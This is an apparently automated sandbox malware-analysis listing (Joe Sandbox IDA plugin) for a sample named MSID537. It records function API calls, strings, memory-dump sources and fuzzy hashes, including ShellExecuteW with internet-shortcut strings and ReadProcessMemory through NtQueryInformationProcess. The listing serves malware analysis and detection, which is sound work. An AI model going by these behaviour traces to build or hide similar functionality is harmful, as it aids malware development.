WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,00BCA285,000000FF), ref: 00B8896B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000,00BCA285,000000FF), ref: 00B88977
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,00000000,00BCA285,000000FF), ref: 00B889B3
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,00000000,00BCA285,000000FF), ref: 00B889D2
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,00000000,00BCA285,000000FF), ref: 00B889EF
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,00BCA285,000000FF), ref: 00B88A83
ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000005), ref: 00B88ACE
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000005), ref: 00B88B1C
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000,00BCA285,000000FF), ref: 00B88B4B

Strings

URL Shortcut content:, xrefs: 00B88A09
-_.~!*'();:@&=+$,/?#[], xrefs: 00B888E7, 00B888FE
open, xrefs: 00B88AC7, 00B88AE3
[InternetShortcut]URL=, xrefs: 00B8889F

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ByteCharLocalMultiWide$AllocExecuteFileFreeShell$CloseCreateHandleWrite
String ID: -_.~!*'();:@&=+$,/?#[]$URL Shortcut content:$[InternetShortcut]URL=$open
API String ID: 2199533872-3004881174
Opcode ID: 0d31c7c24180f0364e5d08873af46cc463d83c6600d433dfacf34a1bbe8c588c
Instruction ID: 364b577ae6a567fb34a13082438f3dca63c285312fde8cf631e4df43a5523794
Opcode Fuzzy Hash: 0d31c7c24180f0364e5d08873af46cc463d83c6600d433dfacf34a1bbe8c588c
Instruction Fuzzy Hash: BFC135719002459FEB20EF68CC85BBFBBF5EF54700F5441AAE505AB2E1EB748A05C7A1

Function 00BA7769 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00BE4AF8,00000FA0,?,?,00BA7747), ref: 00BA7775
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00BA7747), ref: 00BA7780
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00BA7747), ref: 00BA7791
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00BA77A3
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00BA77B1
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00BA7747), ref: 00BA77D4
DeleteCriticalSection.KERNEL32(00BE4AF8,00000007,?,?,00BA7747), ref: 00BA77F0
CloseHandle.KERNEL32(00000000,?,?,00BA7747), ref: 00BA7800

Strings

WakeAllConditionVariable, xrefs: 00BA77A9
SleepConditionVariableCS, xrefs: 00BA779D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00BA777B
kernel32.dll, xrefs: 00BA778C

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 1eb5d897cc4b0a3f084e86d7a8a4c371baef9eed8dc73fc059e194e51c277b0e
Instruction ID: e6cdffd50d1f25468af2f7e2b03073f588c5f0cf93261f46b969fe10aadccd3a
Opcode Fuzzy Hash: 1eb5d897cc4b0a3f084e86d7a8a4c371baef9eed8dc73fc059e194e51c277b0e
Instruction Fuzzy Hash: B5018839B8C711ABD7215B75AC4DF163AD8EB4AB51B0500B9FC15E7260DFB4CC018665

Function 00B8F010 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 254memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,E5F50329,?,00000000), ref: 00B8F076
std::_Lockit::_Lockit.LIBCPMT ref: 00B8F0B3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B8F11D
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00B8F2B9
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8F376
Concurrency::cancel_current_task.LIBCPMT ref: 00B8F39E

Strings

true, xrefs: 00B8F1EC
false, xrefs: 00B8F1D6
bad locale name, xrefs: 00B8F3A3

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocConcurrency::cancel_current_taskLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 975656625-1062449267
Opcode ID: 41585b6e928626e02fda9c8ca4d9e5211d8ccadaa48404bb2687a965850e0c55
Instruction ID: 9c058e3e8c2ddf2ee1f43595d7a289f9a56344299c4eeab37aeb40ae34b7c4e2
Opcode Fuzzy Hash: 41585b6e928626e02fda9c8ca4d9e5211d8ccadaa48404bb2687a965850e0c55
Instruction Fuzzy Hash: 1CB19FB1D04348DEEF20DFA4C945BDEBBF4BF15304F1481A9E444AB282E775AA48CB61

Function 00B86A60 Relevance: 15.1, APIs: 10, Instructions: 137timeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,E5F50329,?,00000000), ref: 00B86AC2
OpenProcess.KERNEL32(00000400,00000000,00000000,?,E5F50329,?,00000000), ref: 00B86AE3
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,E5F50329,?,00000000), ref: 00B86B16
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,E5F50329,?,00000000), ref: 00B86B27
CloseHandle.KERNEL32(00000000,?,E5F50329,?,00000000), ref: 00B86B45
CloseHandle.KERNEL32(00000000,?,E5F50329,?,00000000), ref: 00B86B61
CloseHandle.KERNEL32(00000000,?,E5F50329,?,00000000), ref: 00B86B89
CloseHandle.KERNEL32(00000000,?,E5F50329,?,00000000), ref: 00B86BA5
CloseHandle.KERNEL32(00000000,?,E5F50329,?,00000000), ref: 00B86BC3
CloseHandle.KERNEL32(00000000,?,E5F50329,?,00000000), ref: 00B86BDF

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: CloseHandle$Process$OpenTimes
String ID:
API String ID: 1711917922-0
Opcode ID: 7e6e76dd207357aa0008f7d0a97866232f76282b80dee48ca043302ddf01c235
Instruction ID: ed7e406d6907bd2aa363ce271bde0811c2b2c749686819bbc1fbdf6b9cc84ced
Opcode Fuzzy Hash: 7e6e76dd207357aa0008f7d0a97866232f76282b80dee48ca043302ddf01c235
Instruction Fuzzy Hash: 61515971D01218ABDB10DF98C985BEEFBF5EF48728F2042A9E524B7290D7745D05CBA8

Function 00BA0834 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA083B

Part of subcall function 00B9780A: __EH_prolog3.LIBCMT ref: 00B97811
Part of subcall function 00B9780A: std::_Lockit::_Lockit.LIBCPMT ref: 00B9781B
Part of subcall function 00B9780A: std::_Lockit::~_Lockit.LIBCPMT ref: 00B9788C

Strings

%H : %M : %S, xrefs: 00BA09F7
%b %d %H : %M : %S %Y, xrefs: 00BA0AF3
%I : %M : %S %p, xrefs: 00BA0BC5
:AM:am:PM:pm, xrefs: 00BA0BD0
%m / %d / %y, xrefs: 00BA0937
%d / %m / %y, xrefs: 00BA0B9E
%H : %M, xrefs: 00BA0980

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: H_prolog3Lockitstd::_$Lockit::_Lockit::~_
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1538362411-2891247106
Opcode ID: 8a455dcd33081919870d6be6fb415b3cc7a4887b77af1f1d9f9263fe51cc5b45
Instruction ID: 5a420bdd248c23ed4b21aefb6ce027ca4ed4b1c438f35533e36dae22e0b917c6
Opcode Fuzzy Hash: 8a455dcd33081919870d6be6fb415b3cc7a4887b77af1f1d9f9263fe51cc5b45
Instruction Fuzzy Hash: 32C1837255810AAFDF18EF98C995EFF7BE8EB06304F144199FA42A3251D670DA04CB60

Function 00BA59E2 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA59E9

Part of subcall function 00B8C590: std::_Lockit::_Lockit.LIBCPMT ref: 00B8C5BD
Part of subcall function 00B8C590: std::_Lockit::_Lockit.LIBCPMT ref: 00B8C5E0
Part of subcall function 00B8C590: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8C608
Part of subcall function 00B8C590: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8C6A7

Strings

%H : %M : %S, xrefs: 00BA5BA5
%b %d %H : %M : %S %Y, xrefs: 00BA5CA1
%I : %M : %S %p, xrefs: 00BA5D73
:AM:am:PM:pm, xrefs: 00BA5D7E
%m / %d / %y, xrefs: 00BA5AE5
%d / %m / %y, xrefs: 00BA5D4C
%H : %M, xrefs: 00BA5B2E

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: c4fb998881e6727459f8ece45bc6f48eac6cdb8af126233f81c102d79da134a8
Instruction ID: 746748672fc90bec9311af73ca3f6f63807c8bdb4298363e3bebaaf8bef6abda
Opcode Fuzzy Hash: c4fb998881e6727459f8ece45bc6f48eac6cdb8af126233f81c102d79da134a8
Instruction Fuzzy Hash: 6CC183B6904509AFDB28DF58C999EFF7BF8EB06310F1445A9FA42A7255D630DB00CB60

Function 00BA0C24 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA0C2B

Part of subcall function 00B8B500: std::_Lockit::_Lockit.LIBCPMT ref: 00B8B52D
Part of subcall function 00B8B500: std::_Lockit::_Lockit.LIBCPMT ref: 00B8B550
Part of subcall function 00B8B500: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8B578
Part of subcall function 00B8B500: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8B617

Strings

%H : %M : %S, xrefs: 00BA0DE7
%b %d %H : %M : %S %Y, xrefs: 00BA0EE3
%I : %M : %S %p, xrefs: 00BA0FB5
:AM:am:PM:pm, xrefs: 00BA0FC0
%m / %d / %y, xrefs: 00BA0D27
%d / %m / %y, xrefs: 00BA0F8E
%H : %M, xrefs: 00BA0D70

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 2b4291b35e2217574bff68e6f449a0a0e8f0a4ab24382b530314cc5fae021014
Instruction ID: a72ff94902309680325d7a8bf4efe7dba51bb5cc2c1e635c9db34c2665bbfa70
Opcode Fuzzy Hash: 2b4291b35e2217574bff68e6f449a0a0e8f0a4ab24382b530314cc5fae021014
Instruction Fuzzy Hash: B9C19476918109AFCF28EF98C995DFF3BE8EF1A300F1445A9FA46A2151D631DA10DB60

Function 00B865B0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 258libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00B86090: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00B860F4
Part of subcall function 00B86090: GetLastError.KERNEL32 ref: 00B86190

GetProcAddress.KERNEL32(?,NtQueryInformationProcess), ref: 00B86632
ReadProcessMemory.KERNEL32(00000000,?,?,000001D8,00000000,?,?,?,?,00000000), ref: 00B8668B
ReadProcessMemory.KERNEL32(00000000,?,?,00000048,00000000,?,?,?,?,?,?,?,00000000), ref: 00B86712
ReadProcessMemory.KERNEL32(00000000,?,?,?,00000000,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00B867F6
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00B8686E
GetLastError.KERNEL32(?,00000000), ref: 00B868C9
FreeLibrary.KERNEL32(?,?,00000000), ref: 00B8691E

Strings

NtQueryInformationProcess, xrefs: 00B8662C

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: MemoryProcessRead$ErrorFreeLast$AddressDirectoryLibraryLocalProcSystem
String ID: NtQueryInformationProcess
API String ID: 253270903-2781105232
Opcode ID: 2f8f91e9ec1dfe1329f944d5341aa18c712bf6f634c7d35472ed835420df3183
Instruction ID: 255ffca8595b70b9c9f4bac0385ba4215000aa6bf710f6e4a39c887458e1d42e
Opcode Fuzzy Hash: 2f8f91e9ec1dfe1329f944d5341aa18c712bf6f634c7d35472ed835420df3183
Instruction Fuzzy Hash: 39B18270D14749DADB20DF64C9487AEBBF0FF48308F10469EE449A7690E7B56AC8CB91

Function 00B9D491 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B9D498
_Maklocstr.LIBCPMT ref: 00B9D501
_Maklocstr.LIBCPMT ref: 00B9D513
_Maklocchr.LIBCPMT ref: 00B9D52B
_Maklocchr.LIBCPMT ref: 00B9D53B
_Getvals.LIBCPMT ref: 00B9D55D

Part of subcall function 00B9708B: _Maklocchr.LIBCPMT ref: 00B970BA
Part of subcall function 00B9708B: _Maklocchr.LIBCPMT ref: 00B970D0

Strings

true, xrefs: 00B9D50E
false, xrefs: 00B9D4FC

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Maklocchr$Maklocstr$GetvalsH_prolog3_
String ID: false$true
API String ID: 3549167292-2658103896
Opcode ID: ca3197d72c89ff84704a369da80b7bca96cff6641a78362b455415a372b21c6d
Instruction ID: 0ef0c79c21f56b476ab6062cd765f8f637989078edd0c8c02dc77e54f42596a9
Opcode Fuzzy Hash: ca3197d72c89ff84704a369da80b7bca96cff6641a78362b455415a372b21c6d
Instruction Fuzzy Hash: F4214471D14304AADF15EFE5D886EDE7BE8EF05710F0080AAF9159F251EA709544CBA1

Function 00B8C9C0 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 480COMMON

Download Yara Rule

APIs

Part of subcall function 00B95C66: __EH_prolog3.LIBCMT ref: 00B95C6D
Part of subcall function 00B95C66: std::_Lockit::_Lockit.LIBCPMT ref: 00B95C78
Part of subcall function 00B95C66: std::locale::_Setgloballocale.LIBCPMT ref: 00B95C93
Part of subcall function 00B95C66: std::_Lockit::~_Lockit.LIBCPMT ref: 00B95CE6

std::_Lockit::_Lockit.LIBCPMT ref: 00B8CA1A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B8CA80
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00B8CB4F

Part of subcall function 00B945A7: __EH_prolog3.LIBCMT ref: 00B945AE

std::_Lockit::~_Lockit.LIBCPMT ref: 00B8CC00
LocalFree.KERNEL32(?,?,?,00BDB6C9,00000000,00BDB6C9), ref: 00B8CD01
__cftoe.LIBCMT ref: 00B8CE5E

Strings

bad locale name, xrefs: 00B8CC41

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$H_prolog3Locinfo::_Lockit::_Lockit::~_$FreeLocalLocinfo_ctorLocinfo_dtorSetgloballocale__cftoestd::locale::_
String ID: bad locale name
API String ID: 2085124900-1405518554
Opcode ID: fac57e78b3a57ed058f297b0b16d34d0e251c00e4be06444506e0660715f9047
Instruction ID: 222955435ebc819c23f12f6d8d6c87c5d347963e6ad5fbd8c9e348168bf10cd2
Opcode Fuzzy Hash: fac57e78b3a57ed058f297b0b16d34d0e251c00e4be06444506e0660715f9047
Instruction Fuzzy Hash: 80128CB1D00249DFDF11DFA8D885BAEBFF5EF15300F1441A9E815AB291E735AA04CBA1

Function 00BAB22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00BAB34B
___TypeMatch.LIBVCRUNTIME ref: 00BAB459
_UnwindNestedFrames.LIBCMT ref: 00BAB5AB
CallUnexpected.LIBVCRUNTIME ref: 00BAB5C6

Strings

csm, xrefs: 00BAB2D6
csm, xrefs: 00BAB269
csm, xrefs: 00BAB382

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 280801a45fab787b1799db8b6983de54d577e539c27c0c80709973079bffdc13
Instruction ID: 9fb8bf5469dabf3782c79bacb1e1a8c7f0e014b9f42ddb5328a62b3ee3a7bed6
Opcode Fuzzy Hash: 280801a45fab787b1799db8b6983de54d577e539c27c0c80709973079bffdc13
Instruction Fuzzy Hash: F4B11471D08209EFCF25DFA4C891DAEBBF5EF16310B14419AE8256B213D731DA51CBA1

Function 00B90260 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 269memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00B90322
LocalAlloc.KERNEL32(00000040,?), ref: 00B90367
___std_exception_copy.LIBVCRUNTIME ref: 00B903DE
LocalFree.KERNEL32(?), ref: 00B9041B
LocalFree.KERNEL32(?,?,?,?,?,E5F50329,E5F50329,?,?), ref: 00B90546

Strings

iostream, xrefs: 00B905A0
ios_base::failbit set, xrefs: 00B904B2

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Local$AllocFree$___std_exception_copy
String ID: ios_base::failbit set$iostream
API String ID: 2276494016-302468714
Opcode ID: b3eba192fb6cd57ec9bf020ff6dc333a2c3afe1f146a38626016caeb3d1994d6
Instruction ID: 0a0f373b0162326e78d68a364023d322795ebea80c933d5707ab3907a8f83eeb
Opcode Fuzzy Hash: b3eba192fb6cd57ec9bf020ff6dc333a2c3afe1f146a38626016caeb3d1994d6
Instruction Fuzzy Hash: 0BA190B1D14209DFDB08DF68D885BAEBBF5FB49310F1082ADE815AB391DB709944CB91

Function 00B8BA30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 195memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000044,E5F50329,?,00000000), ref: 00B8BA8B
std::_Lockit::_Lockit.LIBCPMT ref: 00B8BAC8
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B8BB35
__Getctype.LIBCPMT ref: 00B8BB7E
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00B8BBF2
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BCAF

Strings

bad locale name, xrefs: 00B8BCCD

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocGetctypeLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3635123611-1405518554
Opcode ID: 83bbdf1728ea2406165228814e2ff51fed70b2704fc9a7178b8783cae01ab4b8
Instruction ID: f5ac7ef27c452bf9a58ee02a0ffc16aa6746ef256c3391a602d3f2ab159f4256
Opcode Fuzzy Hash: 83bbdf1728ea2406165228814e2ff51fed70b2704fc9a7178b8783cae01ab4b8
Instruction Fuzzy Hash: B58182B1D04388DFEB20DFA8C945B8EBBF4EF15304F1481E9D444AB292EB759A44CB61

Function 00B8C220 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,E5F50329,?,00000000,?,?,?,?,?,?,?,00000000,00BCABC5,000000FF), ref: 00B8C264
std::_Lockit::_Lockit.LIBCPMT ref: 00B8C29E
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B8C302
__Getctype.LIBCPMT ref: 00B8C34B
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00B8C391
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8C445

Strings

bad locale name, xrefs: 00B8C460

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocGetctypeLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3635123611-1405518554
Opcode ID: 0bd416f0fa6b8ee9c06966d6b8495b38c7a26d3a4140cca2e9c00a84efc80436
Instruction ID: 6941a2ca8df6a82b942cfbe09b3d1615a21fde412993ec39ca290d4f380d9df4
Opcode Fuzzy Hash: 0bd416f0fa6b8ee9c06966d6b8495b38c7a26d3a4140cca2e9c00a84efc80436
Instruction Fuzzy Hash: D2617FB0D05388DEEB20DFE8C545B8EBFF4AF15304F1481A9E454AB391D7B59A08CB61

Function 00BA743E Relevance: 12.2, APIs: 8, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?), ref: 00BA74C9
